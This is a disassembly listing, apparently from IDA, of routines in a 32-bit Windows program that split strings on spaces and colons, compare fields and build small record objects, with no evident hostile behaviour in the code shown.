		push	ecx
		call	sub_436FAE
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41C31C


loc_41C338:				; CODE XREF: ___:0041C314j
		pop	edi
		mov	al, 1
		pop	esi
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41C390	proc near		; CODE XREF: sub_401D7Fj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41C390
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	0Ch
		push	4
		push	4Fh
		push	10h
		push	14h
		lea	eax, [esp+5Ch+var_3C]
		push	6
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+0BCh]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_41C390	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		push	10h
		push	14h
		lea	edx, [esp+24h]
		push	6
		push	edx
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+118h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	15h
		push	4Fh
		push	10h
		push	14h
		lea	ecx, [esp+20h]
		push	6
		push	ecx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017E4
		lea	edx, [esi+0EAh]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	4
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	eax, [esp+24h]
		push	8
		push	eax
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	edx, [esp+28h]
		push	8
		push	edx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017E4
		push	eax
		lea	eax, [esi+60h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	14h
		push	1
		push	4
		push	10h
		push	15h
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	ecx, [esp+4Ch]
		push	8
		push	ecx
		call	sub_4019B5
		add	esp, 34h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 5
		call	sub_4017E4
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C610	proc near		; CODE XREF: sub_401064j

var_111		= byte ptr -111h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_F4		= byte ptr -0F4h
var_DC		= byte ptr -0DCh
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_94		= byte ptr -94h
var_7C		= byte ptr -7Ch
var_67		= byte ptr -67h
var_52		= byte ptr -52h
var_3D		= byte ptr -3Dh
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_41C610
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 108h
		push	ebx
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		lea	ecx, [esp+124h+var_10C]
		call	sub_401424
		lea	ecx, [esp+124h+var_DC]
		mov	[esp+124h+var_4], 0
		call	sub_401424
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401424
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401424
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401424
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_401B36
		mov	esi, [esp+124h+arg_0]
		mov	bl, 5
		lea	ecx, [ebp+8Eh]
		mov	byte ptr [esp+124h+var_4], bl
		lea	edi, [esi+7Eh]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		lea	ecx, [ebp+4]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41C83C
		push	offset asc_443600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 6
		push	ecx
		mov	ecx, eax
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D1A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		push	offset asc_443C94 ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401A9B
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 7
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 8
		jz	short loc_41C7CC
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41C7CE
; ---------------------------------------------------------------------------


loc_41C7CC:				; CODE XREF: sub_41C610+1AFj
		xor	edi, edi


loc_41C7CE:				; CODE XREF: sub_41C610+1BAj
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FBE
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FBE
		lea	eax, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	eax
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 0
		mov	cl, [esi+93h]
		mov	[edi+92h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], dl
		call	sub_4013D4


loc_41C83C:				; CODE XREF: sub_41C610+C0j
		lea	ecx, [ebp+60h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41C9BB
		push	offset asc_443600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 9
		push	ecx
		mov	ecx, eax
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D1A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		push	offset asc_443C94 ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401A9B
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 0Ah
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 0Bh
		jz	short loc_41C94B
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41C94D
; ---------------------------------------------------------------------------


loc_41C94B:				; CODE XREF: sub_41C610+32Ej
		xor	edi, edi


loc_41C94D:				; CODE XREF: sub_41C610+339j
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FBE
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FBE
		lea	eax, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	eax
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 1
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 0
		mov	cl, [esi+93h]
		mov	[edi+92h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], dl
		call	sub_4013D4


loc_41C9BB:				; CODE XREF: sub_41C610+23Fj
		lea	ecx, [ebp+32h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CBF6
		push	offset asc_443600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 0Ch
		push	ecx
		mov	ecx, eax
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D1A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		push	offset asc_443C94 ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401A9B
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 0Dh
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	offset word_44759A
		mov	ecx, eax
		mov	byte ptr [esp+128h+var_4], 0Eh
		call	sub_401B72
		test	eax, eax
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		setz	[esp+124h+var_111]
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jz	short loc_41CB5E
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014B0
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_41D212
; ---------------------------------------------------------------------------


loc_41CB5E:				; CODE XREF: sub_41C610+4D6j
		push	94h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 0Fh
		jz	short loc_41CB86
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41CB88
; ---------------------------------------------------------------------------


loc_41CB86:				; CODE XREF: sub_41C610+569j
		xor	edi, edi


loc_41CB88:				; CODE XREF: sub_41C610+574j
		lea	ecx, [esp+124h+var_10C]
		mov	byte ptr [esp+124h+var_4], bl
		push	ecx
		lea	ecx, [edi+11h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	eax
		call	sub_401FBE
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 1
		mov	byte ptr [edi+91h], 0
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013D4


loc_41CBF6:				; CODE XREF: sub_41C610+3BEj
		lea	ecx, [ebp+0BCh]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CD9B
		push	offset asc_443600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 10h
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D1A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FBE
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 11h
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 12h
		jz	short loc_41CD0E
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41CD10
; ---------------------------------------------------------------------------


loc_41CD0E:				; CODE XREF: sub_41C610+6F1j
		xor	edi, edi


loc_41CD10:				; CODE XREF: sub_41C610+6FCj
		lea	edx, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	edx
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FBE
		lea	eax, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_C4]
		push	ecx
		lea	ecx, [edi+65h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_94]
		lea	ecx, [edi+50h]
		push	eax
		call	sub_401FBE
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 1
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013D4


loc_41CD9B:				; CODE XREF: sub_41C610+5FCj
		lea	ecx, [ebp+118h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CF40
		push	offset asc_443600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 13h
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D1A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FBE
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 14h
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 15h
		jz	short loc_41CEB3
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41CEB5
; ---------------------------------------------------------------------------


loc_41CEB3:				; CODE XREF: sub_41C610+896j
		xor	edi, edi


loc_41CEB5:				; CODE XREF: sub_41C610+8A1j
		lea	edx, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	edx
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FBE
		lea	eax, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_C4]
		push	ecx
		lea	ecx, [edi+65h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_94]
		lea	ecx, [edi+50h]
		push	eax
		call	sub_401FBE
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 1
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 1
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013D4


loc_41CF40:				; CODE XREF: sub_41C610+7A1j
		lea	ecx, [ebp+0EAh]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41D1A1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 16h
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D1A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FBE
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 17h
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+128h+var_F4]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	offset word_44759A
		mov	ecx, eax
		mov	byte ptr [esp+128h+var_4], 18h
		call	sub_401B72
		test	eax, eax
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		setz	[esp+124h+var_111]
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jz	short loc_41D0EC
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014B0
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_41D212
; ---------------------------------------------------------------------------


loc_41D0EC:				; CODE XREF: sub_41C610+A64j
		push	94h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 19h
		jz	short loc_41D114
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------


loc_41D114:				; CODE XREF: sub_41C610+AF7j
		xor	edi, edi


loc_41D116:				; CODE XREF: sub_41C610+B02j
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FBE
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_94]
		push	ecx
		lea	ecx, [edi+50h]
		call	sub_401FBE
		lea	edx, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	edx
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 1
		mov	byte ptr [edi+91h], 1
		mov	al, [esi+93h]
		mov	[edi+92h], al
		mov	cl, [esi+94h]
		mov	[edi+93h], cl
		mov	ecx, edi
		call	sub_4013D4


loc_41D1A1:				; CODE XREF: sub_41C610+116j
					; sub_41C610+295j ...
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014B0
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1


loc_41D212:				; CODE XREF: sub_41C610+549j
					; sub_41C610+AD7j
		mov	ecx, [esp+124h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 114h
		retn	4
sub_41C610	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 310h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D540	proc near		; CODE XREF: sub_401B36j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D540
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401424
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D540	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D5D0	proc near		; CODE XREF: sub_4014B0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D5D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+58h]
		mov	[esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D5D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D670	proc near		; CODE XREF: sub_4021C6j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D670
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E6A
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		lea	ecx, [esi+50h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401424
		lea	ecx, [esi+65h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401424
		lea	ecx, [esi+7Ah]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401424
